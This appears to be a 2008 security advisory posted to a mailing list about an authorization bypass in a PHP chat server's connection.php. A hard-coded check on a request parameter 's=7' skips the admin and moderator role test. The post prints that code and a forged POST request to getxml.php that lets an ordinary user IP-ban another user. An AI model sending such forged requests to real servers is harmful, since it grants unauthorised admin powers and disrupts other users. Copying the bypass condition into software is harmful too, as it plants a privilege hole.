File: connection.php                            


if( 

                                        ChatServer::userInRole($this->userid, 
ROLE_ADMIN) || 

                                        ChatServer::userInRole($this->userid, 
ROLE_MODERATOR) ||

                                        ($req['s'] == 7) <-- *bypass line*

                                  )





This piece of code allows a normal user to bypass role filtering and to be 
granted admin role as a normal user. To exploit the vulnerability simply send 
to getxml.php, while into the chat, this post data string (for example 
intercepting and modifying a legal message packet sent to the server with 
tamper data plugin of firefox):



for example to ban a user simply add the bypass to the normal ban string 
request:



replace:

//normal message sent to server thas has being intercepted

sendAndLoad=%5Btype%20Function%5D&t=hi everybody&r=0&id=



with:

//normal ban packet used by admins or mods

sendAndLoad=%5Btype%20Function%5D&t=&r=0&u=5581&b=3&c=banu&cid=1&id=



//forged packet send by attacker

sendAndLoad=%5Btype%20Function%5D&s=7&t=&r=0&u=5581&b=3&c=banu&cid=1&id=



*note the s=7 added



this will ip-ban user with id 5581 from chat.



eLiSiA - 17-10-2008

Reply via email to